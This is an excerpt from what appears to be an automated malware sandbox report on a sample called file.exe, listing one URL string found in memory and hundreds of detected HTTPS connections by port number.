Source: file.exe, 00000000.00000002.2687094197.00000000232EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
